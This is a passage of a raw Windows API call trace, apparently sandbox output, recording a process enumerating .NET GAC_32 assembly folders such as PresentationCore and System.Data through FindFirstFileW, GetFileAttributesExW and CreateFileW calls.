	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d96660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e344920, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.549] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.549] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x1261c508 | out: lpFileInformation=0x1261c508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d96660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e344920, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.549] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.549] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d96660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e344920, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d96660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e344920, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.549] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.550] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.550] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\PresentationCore.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c5a8 | out: lpFileInformation=0x1261c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e344920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352f60)) returned 1
	[0088.550] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data"), fInfoLevelId=0x0, lpFileInformation=0x1261c5f8 | out: lpFileInformation=0x1261c5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91980cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91980cc0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91980cc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.550] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.550] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91980cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91980cc0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91980cc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.550] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91980cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91980cc0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91980cc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.550] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91934a00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66571c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66571c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.550] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.550] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.550] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1261c698 | out: lpFileInformation=0x1261c698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91934a00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66571c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66571c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.550] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.551] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91934a00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66571c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66571c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.551] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91934a00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66571c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66571c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.551] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66597da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x32dab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.551] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.551] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.551] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c738 | out: lpFileInformation=0x1261c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66597da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x32dab0)) returned 1
	[0088.551] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data.oracleclient"), fInfoLevelId=0x0, lpFileInformation=0x1261c788 | out: lpFileInformation=0x1261c788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3eb90a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3eb90a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.551] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data.oracleclient"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.551] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3eb90a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3eb90a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.551] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3eb90a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3eb90a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.551] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66714b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66714b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.552] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.552] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.552] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1261c828 | out: lpFileInformation=0x1261c828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66714b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66714b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.552] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.552] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66714b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66714b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.552] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66714b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66714b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.552] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6673acc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7b2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.552] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.552] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.552] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.OracleClient.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.oracleclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261c8c8 | out: lpFileInformation=0x1261c8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6673acc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7b2e0)) returned 1
	[0088.552] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices"), fInfoLevelId=0x0, lpFileInformation=0x1261c918 | out: lpFileInformation=0x1261c918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91745820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91745820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91745820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.552] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.553] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91745820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91745820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91745820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.553] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91745820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91745820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91745820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.553] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9171f6c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e24080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.553] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.553] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.553] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261c9b8 | out: lpFileInformation=0x1261c9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9171f6c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e24080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0088.553] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.553] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9171f6c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e24080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.554] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9171f6c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e24080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
